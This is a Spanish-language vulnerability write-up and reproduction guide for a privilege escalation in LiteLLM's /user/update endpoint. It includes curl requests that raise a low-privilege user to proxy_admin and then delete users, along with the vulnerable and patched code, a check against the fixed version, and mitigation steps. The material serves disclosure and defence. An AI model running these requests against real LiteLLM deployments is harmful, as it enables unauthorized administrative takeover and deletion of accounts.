CVE-2026-47102 — Escalada de Privilegios en LiteLLM mediante /user/update

LiteLLM v1.83.7 (antes de v1.83.10) el endpoint /user/update permite a usuarios con bajo privilegio que tengan acceso a este endpoint, modificar el campo user_role a proxy_admin al actualizar su propia cuenta, logrando una escalada de privilegios no autorizada.

Descripción

El endpoint /user/update de LiteLLM se utiliza para actualizar atributos de usuario. En las versiones afectadas, la función can_user_call_user_update() de /user/update verifica si el usuario tiene permiso para actualizar al usuario especificado (permitiendo que un usuario actualice su propio registro), pero no impone ninguna restricción sobre los campos modificables.

Esto significa que cualquier usuario que pueda acceder al endpoint /user/update (por ejemplo, un usuario al que un administrador le haya otorgado permiso para esa ruta, o un atacante que haya obtenido acceso a dicho endpoint mediante otra vulnerabilidad) puede elevar su propio rol a proxy_admin modificando su campo user_role, obteniendo así acceso completo a todos los endpoints administrativos.

Cadena de Ataque

Admin crea una API key para internal_user con permiso de ruta /user/update
  →  internal_user obtiene acceso a nivel de ruta
  →  POST /user/update  {"user_id": "...", "user_role": "proxy_admin"}  ← CVE-2026-47102
  →  Rol elevado a proxy_admin
  →  GET /user/list  (verificación de acceso administrativo)

Diferencia con CVE-2026-47101

Ambas vulnerabilidades pueden encadenarse: CVE-2026-47101 para crear una key con ruta comodín (acceder a /user/update), y CVE-2026-47102 para elevar el propio rol a proxy_admin.

Prueba de Concepto

Preparación del Entorno

# 1. Iniciar PostgreSQL + LiteLLM vulnerable (v1.83.7-stable)
docker compose up -d litellm

# Esperar a que el servicio esté listo (aprox. 10-30 segundos)
sleep 15

Confirmar que el Servicio está en Ejecución

# Ver registros del contenedor
docker logs litellm-47102-privesc 2>&1 | tail -10

La salida esperada debe incluir registros de inicio exitoso como Uvicorn running on http://0.0.0.0:4000.

Paso 1: Crear una Cuenta de Usuario Interno

Usar la clave maestra para crear una cuenta internal_user con pocos privilegios:

curl -s -X POST http://localhost:4002/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'

Salida esperada:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

Paso 2: Administrador Otorga una Key con Permiso de Ruta /user/update

El administrador crea una API key para internal_user con acceso a la ruta /user/update. Esta es la forma típica de obtener acceso al endpoint /user/update en un entorno real:

# Usar la clave maestra para crear una key con la ruta /user/update
curl -s -X POST http://localhost:4002/key/generate \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'

Salida esperada:

{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}

Paso 3: Escalada a proxy_admin (CVE-2026-47102)

Usar la key obtenida en el paso anterior, que tiene permiso de ruta /user/update, para elevar el rol del usuario a proxy_admin:

curl -s -X POST http://localhost:4002/user/update \
  -H "Authorization: Bearer sk-route-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'

Salida esperada:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}

⚠️ Punto vulnerable: ¡user_role ha cambiado de internal_user a proxy_admin! El endpoint /user/update permite al usuario modificar su propio campo user_role sin ninguna restricción de permisos a nivel de campo.

Paso 4: Verificar el Acceso Administrativo

Verificar que la elevación de rol ha surtido efecto a través del endpoint /user/list (usando la API key original de internal_user, que no tiene restricciones de ruta; después de la elevación a proxy_admin, obtiene automáticamente permisos administrativos):

# Usar la key elevada a proxy_admin (la key original de internal_user, sin restricciones de ruta)
curl -s -X GET http://localhost:4002/user/list \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json"

Salida esperada:

{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}

Paso 5: Extensión — Eliminar un Usuario Administrador

Aprovechando el permiso proxy_admin obtenido, se puede eliminar cualquier usuario mediante /user/delete (también usando la API key original de internal_user):

curl -s -X POST http://localhost:4002/user/delete \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'

Salida esperada:

1

Reproducción con un Solo Comando

Los pasos anteriores están integrados en demo.sh, que se puede ejecutar directamente:

# Reproducción completa (incluye comparación entre versión vulnerable y corregida)
bash demo.sh

Verificación de la Versión Corregida

Iniciar la versión corregida (v1.83.10-stable) para verificar que CVE-2026-47102 ha sido reparado:

docker compose --profile fixed up -d litellm-fixed

Crear un usuario interno:

FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")

Crear una key con la ruta /user/update:

FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")

Intentar la escalada de privilegios (se espera que sea bloqueada):

curl -s -X POST http://localhost:4003/user/update \
  -H "Authorization: Bearer $FIXED_ROUTE_KEY" \
  -H "Content-Type: application/json" \
  -d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"

Salida esperada (la versión corregida bloquea la solicitud no autorizada):

{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}

Comparación con la versión vulnerable:

Análisis de Causa Raíz

La causa raíz de la vulnerabilidad se encuentra en la función can_user_call_user_update() del endpoint /user/update:

/user/update — Falta de Validación de Permisos a Nivel de Campo

# Código vulnerable — internal_user_endpoints.py:1197-1208
def can_user_call_user_update(user_api_key_dict, user_info):
    if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
        return True  # El administrador puede actualizar cualquier usuario
    elif user_api_key_dict.user_id == user_info.user_id:
        return True  # ❌ El usuario puede actualizar su propio registro — ¡incluyendo el campo user_role!
    return False

Parche (v1.83.10+):

def can_user_call_user_update(user_api_key_dict, user_info, data):
    if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
        return True  # El administrador aún puede actualizar cualquier usuario y campo
    elif user_api_key_dict.user_id == user_info.user_id:
        # Restringir campos que un no administrador puede modificar
        allowed_fields = {"metadata", "display_name", "email"}
        requested_fields = set(data.keys())
        forbidden = requested_fields - allowed_fields
        if forbidden:
            raise ForbiddenError(f"Cannot modify fields: {forbidden}")
        return True
    return False

Técnica de Explotación

Prerrequisitos

El atacante necesita una API key que pueda acceder al endpoint /user/update. Esto se puede obtener de las siguientes maneras:

1. Administrador otorga permiso de ruta — El administrador creó una key con la ruta /user/update
2. CVE-2026-47101 — Explotar la vulnerabilidad de ruta comodín en /key/generate para crear una key comodín
3. Rol org_admin — En ciertas configuraciones, org_admin tiene acceso a /user/update

Pasos del Ataque

Paso 1: Obtener una API key con permiso de ruta /user/update

Paso 2: Llamar a /user/update para elevar el rol:

POST /user/update
Authorization: Bearer sk-route-key
Content-Type: application/json

{"user_id": "target-user-id", "user_role": "proxy_admin"}

Paso 3: Verificar permisos de administrador:

GET /user/list
Authorization: Bearer sk-route-key

Análisis del Parche (v1.83.10)

La versión corregida añadió validación de permisos a nivel de campo en /user/update:

1. Restringir campos que un no administrador puede modificar — internal_user solo puede actualizar campos no críticos como metadata
2. Proteger el campo user_role — Solo proxy_admin puede modificar roles de usuario
3. Mantener la capacidad de autoactualización — Los usuarios aún pueden actualizar su información básica, pero no pueden elevar privilegios

Mensaje de error: "Only proxy admins can modify user roles."

Estructura del Repositorio

CVE-2026-47102/
├── README.md                               # Este archivo
├── CVE-2026-47102_漏洞复现报告.docx          # Informe de reproducción (Chino)
├── docker-compose.yml                      # PostgreSQL + LiteLLM vulnerable/corregido
├── config.yaml                             # Configuración de LiteLLM con conexión a BD
├── requirements.txt                        # Dependencias de Python
├── demo.sh                                 # Script de reproducción con un clic
├── exploit/
│   ├── exploit.py                          # Script de explotación en Python
│   └── payload.py                          # Constructores de payload
├── docs/
└── screenshots/

Mitigación

1. Actualizar a LiteLLM v1.83.10+ (autorización a nivel de campo corregida en /user/update)
2. Restringir los privilegios de ruta de las API keys — otorgar solo las rutas necesarias
3. Auditar usuarios y claves existentes en busca de signos de escalada de privilegios
4. Monitorear llamadas a /user/update con cambios en user_role para detectar actividad anómala

Referencias

• Detalle NVD
• Aviso de Seguridad de Obsidian

Aviso: Este contenido se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas.